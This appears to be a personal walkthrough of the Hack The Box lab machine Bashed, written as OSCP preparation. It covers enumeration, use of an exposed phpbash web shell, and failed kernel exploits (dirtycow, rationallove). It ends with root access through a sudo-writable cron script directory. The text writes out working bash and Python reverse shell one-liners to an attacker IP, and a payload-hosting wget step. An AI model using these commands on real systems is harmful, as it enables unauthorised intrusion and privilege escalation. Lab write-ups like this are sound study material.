Here we go, a retired box in prep for the OSCP. Using TJNull’s expert list found here.
We are going to give Bashed a go. I think I’ve done this one before, but it was pre-write up days. So fingers crossed it should be kinda straightforward!
A quick initial nmap scan shows us that Port 80 is open
We get a much more comprehensive nmap scan going:
sudo nmap -sC -sV -O -p- -oA nmap/full 10.10.10.68 -vv
While we go and check out the web server on Port 80.
We get a front page. Having a click around we find a page called single.php which includes an interesting photo:
I wonder if that directory exists: /uploads/phpbash.php
It does not!
There is however a link to the github page here: https://github.com/Arrexel/phpbash
So we need some way of uploading stuffs to the webserver. Let’s run a gobuster and see if we can find anything!
sudo gobuster dir -u 10.10.10.68 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
In the meantime our fuller nmap scan finished and we get some more results:
So Port 80 is the only port open but there are a few HTTP methods available which could become useful later.
Gobuster is bringing back some good results even though it’s only 10% of the way through (I used the standard 10 threads, when really I should have upped it to ~100)
Let’s take a look at /uploads/ that looks fun.
Maybe not!
How about /php/
There is a file called sendMail.php.
Also no fun!
Well that’s dev and looks slightly more exciting!
That is more exciting! This is the program that arrexel created!
I wonder if we can go into the arrexel home directory where I think the user flag is and read that?
We can!
Excellent, that’s the user flag!
Let’s carry on and try and get root! (Which I found out, I haven’t previously got!)
First up, let’s try and get a reverse shell so we have a few more commands.
Trying the very basic on our box we do a:
nc -nvlp 9001
On the target we do
nc 10.10.14.33 9001
We get a call back that is very quickly killed.
So let’s head over the the pentestmonkey part of the internet and try the bash reverse shell:
bash -i >& /dev/tcp/10.10.14.33/9001 0>&1
This obviously won’t work as we use:
ps -p $$
to find out our shell which is sh.
We find out if python is installed by using:
which python
Python is installed, so let’s try that:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.33",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
That’s the one! We now have a shell and can upgrade that to bash!
That’s right, I missed out import on the first attempt, so to prompt the shell using python we use:
python -c 'import pty;pty.spawn("/bin/bash")'
A quick try of:
sudo su su - su root
All prompted for passwords, which we don’t have! So it’s going to be more complicated than that!
Looking at /etc/os-release we get:
NAME="Ubuntu" VERSION="16.04.2 LTS (Xenial Xerus)"
So the box is Xenial. There might be exploits for that. Let’s get the linux-exploit-suggestor over to our box.
We host that on our machine using:
python -m SimpleHTTPServer 9005
Then use wget on the target to download it into the tmp directory:
wget 10.10.14.33:9005/linux-exploit-suggester.sh
Running that, we get a few results, including these two:
Although these are available, I’m going to look elsewhere first, as these can be slightly messy.
Using the same theory as earlier, we get the LinEnum script across.
Nothing massively useful comes through that!
Let’s give dirtycow2 a go then!
We get the exploit from exploitDB.
Copy it onto our local box and use the compile instructions:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dirtycow.cpp -lutil
We now have a dcow executable which we can move across.
We make dcow executable:
chmod +x dcow
And it doesn’t work!
So that doesn’t work! Interesting!
As well as dirtycow linux-exploit-suggester did have a few other ideas, one other caught my eye:
Let’s take a look at rationallove.
So it looks like rational love exploits a bug within glibc. The error message above said GLIBC wasn’t found. However maybe that was the specific version, so let’s give this a go anyway.
We compile the exploit and get a couple of errors:
However it appears to compile. So we move it across, give it executable properties and:
I am unloved!
No good at all!
So let’s move on from big bam quick wins!
We have been pretty light on the old enumeration for priv esc. First question, any passwords etc in the config files for the websites?
Having a re-look at LinEnum and a bit of a poke around hasn’t bought anything obvious to my mind.
I’ve copied across pspy64s to see if there is anything running on that box, cronjobs, scripts by root that I might be able to use.
Bingo!
Leaving it for a few minutes, it looks like this script runs every minute at 1 second past.
So, we just need to find that test.py file!
We know it’s all going down in that /scripts file.
So we know where that test.py file is. We don’t have access to read it or view it though.
We know what it says, it runs any python scripts within /scripts/.
So we need to get a script in there to read the root flag, or give us a reverse shell. Whatever we want really.
The folder & file are owned by scriptmanager. Who we are not!
We cannot su to them without the password.
Oh, maybe we don’t need to change to them.
sudo -l
Give us this:
So, we can run any command as them!
So let’s create a little python reverse shell script. Infact, we will use the same code as earlier, just stick it into a text file!
After ages battling with vi (it’s just awful)! We have a python script which should do a reverse shell to our box!
Now as we can do any command as scriptmanager we can use sudo to copy that script into the /scripts/ folder:
sudo -u scriptmanager cp python.py /scripts/
If we then look at the folder, we have:
You will now see why that won’t work!
Forgot to make it executable! Silly buggers, luckily we can use sudo to add executable status:
sudo -u scriptmanager chmod +x /scripts/python.py
After leaving it for a few minutes. We didn’t get a callback on our netcat listener! Strange!
I confirmed the cronjob was still running with pspy64s.
So must be an issue with the script!
Let’s run the script and see if that works:
So the script is good! But it’s not executing as part of that cronjob!
What’s the difference? Well we ran it with ./ rather than python.
If I try running it,
python python.py
to mimic the script
We get an error:
So it’s a python issue!
Rather than trying to mess with this for hours. Can we just output the file to another file?
We created a new python file called copy which includes:
import shutil
shutil.copy('/root/root.txt', '/tmp/root.txt')
Running the script, we get a permission denied error. Let’s see if it works with the cronjob.
That works however we have the issue we anticipated. It’s still got the permissions of root!
So we need another line in the script to change the permissions!
Our script now looks like:
import shutil
import subprocess
shutil.copy('/root/root.txt', '/tmp/root.txt')
subprocess.call(['chmod', '0777', '/tmp/root.txt'])
There would be other, maybe easier ways to do this, like changing the root password, changing the permissions in the /root/ directory however if other people are on the box it’s a bit shitty.
Watching pspy64s we can see that both steps have been completed:
The text file should now be there and readable….
Excellent! There we go!
Now time for a root dance!
